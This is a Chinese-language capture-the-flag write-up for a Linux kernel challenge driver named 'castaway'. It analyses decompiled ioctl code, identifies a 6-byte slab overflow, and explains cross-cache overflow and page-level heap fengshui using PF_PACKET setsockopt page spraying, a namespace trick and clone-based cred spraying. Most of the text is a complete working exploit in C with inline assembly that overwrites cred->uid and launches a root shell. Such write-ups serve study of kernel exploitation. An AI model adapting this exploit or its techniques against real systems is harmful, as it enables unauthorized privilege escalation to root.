Cross Cache overflow 和 Page-Level Heap Fengshui的例题。参考a3大佬的博客 : -)
保护机制 提供了KCONFIG,并且从启动脚本中可以查看到开启了KPTI, SMEP, SMAP保护。
通过KCONFIG查看常见保护开启情况如下:
1 2 3 4 CONFIG_MEMCG_KMEM=y CONFIG_RANDOMIZE_BASE=y CONFIG_SLAB_FREELIST_RANDOM=y CONFIG_SLAB_FREELIST_HARDENED=y
题目分析 题目在注册设备时创建了kmem_cache,flag为0xDC0,即SLAB_ACCOUNT | SLAB_PANIC,同时开启了CONFIG_MEMCG_KMEM=y,因此申请的kmem_cache为独立的,通过kmem_cache_alloc申请的flag为GFP_KERNEL | __GFP_ZERO。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 __int64 init_module () { castaway_dev = 255 ; castaway = (__int64)"castaway" ; qword_8B0 = (__int64)&castaway_fops; _mutex_init(&castaway_lock, "&castaway_lock" , &_key_28999); if ( !(unsigned int )misc_register(&castaway_dev) && (castaway_arr = kmem_cache_alloc(kmalloc_caches[12 ], 0xDC0 )) != 0 && (castaway_cachep = kmem_cache_create("castaway_cache" , 0x200 , 1 , 0x4040000 , 0 )) != 0 ) { return init_castaway_driver_cold(); } else { return 0xFFFFFFFF LL; } }
ops结构体只定义了ioctl操作函数,其定义如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 __fastcall castaway_ioctl (__int64 a1, int cmd, __int64 arg) { __int64 castaway_ctr; __int64 *v5; request request_data; unsigned __int64 v7; v7 = __readgsqword(0x28 u); if ( cmd != 0xCAFEBABE ) { if ( copy_from_user(&request_data, arg, 0x18 ) ) return -1 ; mutex_lock(&castaway_lock); if ( cmd == 0xF00DBABE ) castaway_ctr = castaway_edit(request_data.index, request_data.size, request_data.data); else castaway_ctr = -1 ; LABEL_5: mutex_unlock(&castaway_lock); return castaway_ctr; } mutex_lock(&castaway_lock); castaway_ctr = castaway_heap_num; if ( castaway_heap_num <= 0x18F ) { ++castaway_heap_num; v5 = &castaway_arr[castaway_ctr]; *v5 = kmem_cache_alloc(castaway_cachep, 0x400DC0 ); if ( castaway_arr[castaway_ctr] ) goto LABEL_5; } return castaway_ioctl_cold(); }
定义了两个操作,分别为通过kmem_cache_alloc创建新对象,修改对象。
创建对象使用的flag为:GFP_KERNEL | GFP_ACCOUNT | __GFP_ZERO,最多创建400个object。
修改对象内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 __int64 __fastcall castaway_edit (unsigned __int64 index, size_t size, char *data) { __int64 result; _BYTE src[512 ]; unsigned __int64 v6; v6 = __readgsqword(0x28 u); if ( index > 0x18F || !castaway_arr[index] || size > 0x200 || (_check_object_size(src, size, 0 ), copy_from_user(src, data, size)) ) { castaway_edit_cold(); } else { memcpy ((void *)(castaway_arr[index] + 6 ), src, size); return size; } return result; }
需要用户输入的数据结构如下:
1 2 3 4 5 6 struct request { size_t index; size_t size; char *data; };
漏洞位于castaway_edit函数存在堆溢出漏洞,可以溢出6字节。
漏洞利用 Step1. Cross-cache overflow 因为我们的漏洞对象位于独立的kmem_cache中,因此其不会与内核中的其他结构体的分配混用,我们无法通过slub层的堆喷+堆风水溢出到其他结构体来进行下一步利用;同时由于slub并不会像glibc那样每个object开头都有个存储数据的header,而是将next指针放在一个随机位置,我们很难直接溢出到下一个object的next指针,而且还存在hardened freelist保护;在我们slub的相邻页面上的数据也是未知的,直接溢出也不知道会溢出到哪儿。
因此需要通过buddy system层面的利用,即cross-cache overflow.
溢出对象可以为cred结构体的uid字段,完成提权,可以先fork()堆喷cred耗尽cred_jar中的object,然后让其向buddy system请求新的页面,然后还需要堆喷消耗buddy system原有的页面,然后再分配cred和题目object,两者便有大概率相邻。
cred大小为192,cred_jar向buddy system单次请求的页面数量为1,足够分配21个cred,因此不需要堆喷太多的cred就可以耗尽cred_jar,不过fork()在执行过程中会产生很多不需要的结构体,影响页布局,因此这里我们改用clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND)。
本想用msg_msg来堆喷消耗buddy system,但是发现System V的消息队列在题目环境中被禁用了。
这里是参照了setsockopt()进行页喷射的方法:当我们创建一个 protocol 为 PF_PACKET 的 socket 之后,先调用 setsockopt() 将 PACKET_VERSION 设为 TPACKET_V1 / TPACKET_V2,再调用 setsockopt() 提交一个 PACKET_TX_RING ,此时便存在如下调用链:
1 2 3 4 5 __sys_setsockopt() sock->ops->setsockopt() packet_setsockopt() packet_set_ring() alloc_pg_vec()
在 alloc_pg_vec() 中会创建一个 pgv 结构体,用以分配 tp_block_nr 份 2order 张内存页,其中 order 由 tp_block_size 决定:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static struct pgv *alloc_pg_vec (struct tpacket_req *req, int order) { unsigned int block_nr = req->tp_block_nr; struct pgv *pg_vec ; int i; pg_vec = kcalloc(block_nr, sizeof (struct pgv), GFP_KERNEL | __GFP_NOWARN); if (unlikely(!pg_vec)) goto out; for (i = 0 ; i < block_nr; i++) { pg_vec[i].buffer = alloc_one_pg_vec_page(order); if (unlikely(!pg_vec[i].buffer)) goto out_free_pgvec; } out: return pg_vec; out_free_pgvec: free_pg_vec(pg_vec, order, block_nr); pg_vec = NULL ; goto out; }
在 alloc_one_pg_vec_page() 中会直接调用 __get_free_pages() 向 buddy system 请求内存页,因此我们可以利用该函数进行大量的页面请求:
1 2 3 4 5 6 7 8 9 10 11 static char *alloc_one_pg_vec_page (unsigned long order) { char *buffer; gfp_t gfp_flags = GFP_KERNEL | __GFP_COMP | __GFP_ZERO | __GFP_NOWARN | __GFP_NORETRY; buffer = (char *) __get_free_pages(gfp_flags, order); if (buffer) return buffer; }
pgv 中的页面会在 socket 被关闭后释放,这也方便我们后续的页级堆风水,不过需要注意的是低权限用户无法使用该函数,但是我们可以通过开辟新的命名空间来绕过该限制
这里需要注意的是我们提权的进程不应当和页喷射的进程在同一命名空间内 ,因为后者需要开辟新的命名空间,而我们应当在原本的命名空间完成提权,因此这里笔者选择新开一个进程进行页喷射,并使用管道在主进程与喷射进程间通信
如果你忘了这一步,就会和笔者一样得到一个 65534 的 uid 然后冥思苦想半天…
Step.2 page-level heap fengshui 上一步我们实现了页喷射,当我们耗尽buddy system中的low order pages后,我们再请求的页面便都是物理连续的,因此我们再进行setsockopt()便相当于获取到了一块近乎物理连续的内存。
本题环境中题目的kmem_cache单次会向buddy system请求一张内存页,而由于buddy system遵循LIFO,因此我们可以:
先分配大量单张内存页,耗尽buddy中的low-order pages
间隔一张内存页释放掉部分单张内存页,之后堆喷cred,这样便有可能获取到我们释放的单张内存页
释放掉之前的间隔内存页,调用漏洞函数分配堆块,这样便有几率获取到我们释放的间隔内存页
利用模块中漏洞进行越界写,篡改cred->uid,完成提权
子进程需要轮询等待自己的uid变为root,但是并不是很优雅,所以这里用一个新的管道在主进程与子进程间通信,当子进程从管道中读出1字节时便开始检查是否成功提权,若未提权则直接sleep。
构造exp如下(直接参考的a3大佬的exp):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/ioctl.h> #include "kernelpwn.h" #define ALLOC_CMD 0xCAFEBABE #define EDIT_CMD 0xF00DBABE #define PAGE_SPRAY_NUM 0x200 #define CRED_SPRAY_NUM 0x100 #define VUL_OBJ_NUM 400 #define VUL_OBJ_SIZE 512 #define VUL_OBJ_PER_SLUB 8 #define VUL_OBJ_SLUB_NUM (VUL_OBJ_NUM / VUL_OBJ_PER_SLUB) int dev_fd;int check_root_pipe[2 ];int child_pipe_buf[1 ];char root_str[] = "\033[32m\033[1m[+] Successful to get the root.\n" "\033[34m[*] Execve root shell now...\033[0m\n" ; char bin_sh_str[] = "/bin/sh" ;char *shell_args[] = { bin_sh_str, NULL };typedef struct { size_t index; size_t size; char *data; } castaway_request_t ; struct timespec timer = { .tv_sec = 1145141919 , .tv_nsec = 0 , }; __attribute__((naked)) long simple_clone (int flags, int (*fn)(void *)) { __asm__ volatile ( ".intel_syntax noprefix;" "mov r15, rsi;" "xor rsi, rsi;" "xor rdx, rdx;" "xor r8, r8;" "xor r9, r9;" "mov rax, 56;" "syscall;" "cmp rax, 0;" "je child_fn;" "ret;" "child_fn:" "jmp r15;" ".att_syntax" ) ;} int waiting_for_root_fn (void *args) { __asm__ volatile ( ".intel_syntax noprefix;" "lea rax, [check_root_pipe];" "xor rdi, rdi;" "mov edi, dword ptr [rax];" "mov rsi, child_pipe_buf;" "mov rdx, 1;" "xor rax, rax;" "syscall;" "mov rax, 102;" "syscall;" "cmp rax, 0;" "jne failed;" "mov rdi, 1;" "lea rsi, [root_str];" "mov rdx, 80;" "mov rax, 1;" "syscall;" "lea rdi, [bin_sh_str];" "lea rsi, [shell_args];" "xor rdx, rdx;" "mov rax, 59;" "syscall;" "failed:" "lea rdi, [timer];" "xor rsi, rsi;" "mov rax, 35;" "syscall;" ".att_syntax;" ) ; return 0 ; } void alloc_object () { castaway_request_t req; ioctl(dev_fd, ALLOC_CMD, &req); } void edit_object (size_t index, size_t size, char *data) { castaway_request_t req; req.index = index; req.size = size; req.data = data; ioctl(dev_fd, EDIT_CMD, &req); } int main () { char buf[0x1000 ]; bind_core(0 ); save_status(); dev_fd = open("/dev/castaway" , O_RDWR); if (dev_fd < 0 ) { log_info("open device /dev/castaway failed!" ); } log_info("open device /dev/castaway success!" ); pipe(cmd_pipe_req); pipe(cmd_pipe_reply); if (!fork()) { spray_cmd_handler(); exit (EXIT_SUCCESS); } log_info("spraying pgv pages..." ); for (int i=0 ; i<PAGE_SPRAY_NUM; i++) { if (alloc_page(i, 0x1000 , 1 ) < 0 ) { printf ("[x] failed at no.%d socket\n" , i); err_exit("FAILED to spray pages via socket!" ); } } log_info("freeing for cred pages..." ); for (int i=1 ; i<PAGE_SPRAY_NUM; i+=2 ) { free_page(i); } log_info("spraying cred..." ); pipe(check_root_pipe); for (int i=0 ; i<CRED_SPRAY_NUM; i+=2 ) { if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND, waiting_for_root_fn) < 0 ){ printf ("[x] failed at cloning %d child\n" , i); err_exit("FAILED to clone ()!" ); } } log_info("freeing for vulnerable pages..." ); for (int i=0 ; i< PAGE_SPRAY_NUM; i+=2 ){ free_page(i); } memset (buf, '\0' , 0x1000 ); *(uint32_t *) &buf[VUL_OBJ_SIZE - 6 ] = 1 ; for (int i=0 ; i < VUL_OBJ_NUM; i++) { alloc_object(); edit_object(i, VUL_OBJ_SIZE, buf); } log_info("notifying child processes and waiting..." ); write(check_root_pipe[1 ], buf, CRED_SPRAY_NUM); sleep(1145141919 ); return 0 ; }
参考链接